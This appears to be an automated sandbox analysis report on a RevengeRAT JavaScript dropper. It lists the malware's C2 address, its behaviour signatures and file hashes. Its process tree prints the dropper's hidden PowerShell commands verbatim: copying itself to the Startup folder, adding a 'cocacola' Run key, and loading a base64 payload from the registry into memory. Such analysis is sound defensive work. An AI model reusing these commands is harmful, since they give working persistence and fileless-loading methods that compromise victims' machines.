Analysis

  • max time kernel
    141s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/10/2024, 19:52

General

  • Target
    213124dadoscancelarareserva.js
  • Size 60KB
  • Sample241015-ylpq4steme
  • SHA256 d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • revengerat

Botnet
  • NyanCatRevenge

C2
  • 54.146.241.16:5222

Mutex
  • f9796de67e

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\213124dadoscancelarareserva.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\213124dadoscancelarareserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\213124dadoscancelarareserva.js'));wscript 'C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4332
      • C:\Windows\system32\wscript.exe
        "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:552
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js' -PropertyType String -Force;"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3520
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\213124dadoscancelarareserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js'))"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2640
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4004

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 53KB
        • SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_fta4tegl.obi.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fta4tegl.obi.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        213124dadoscancelarareserva.js

        • Path C:\Users\Admin\AppData\Roaming\213124dadoscancelarareserva.js
        • Size 60KB
        • SHA256 d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
        • MD5 SHA1 SHA512 SSDEEP

        memory/4004-45-0x000001DBD8470000-0x000001DBD847A000-memory.dmp

        memory/4332-0-0x00007FFF3D863000-0x00007FFF3D865000-memory.dmp

        memory/4332-1-0x000001C9B4B80000-0x000001C9B4BA2000-memory.dmp

        memory/4332-11-0x00007FFF3D860000-0x00007FFF3E321000-memory.dmp

        memory/4332-12-0x00007FFF3D860000-0x00007FFF3E321000-memory.dmp

        memory/4332-13-0x000001C9B6F40000-0x000001C9B6F84000-memory.dmp

        memory/4332-16-0x000001C9B7220000-0x000001C9B7296000-memory.dmp

        memory/4332-46-0x00007FFF3D863000-0x00007FFF3D865000-memory.dmp

        memory/4332-47-0x00007FFF3D860000-0x00007FFF3E321000-memory.dmp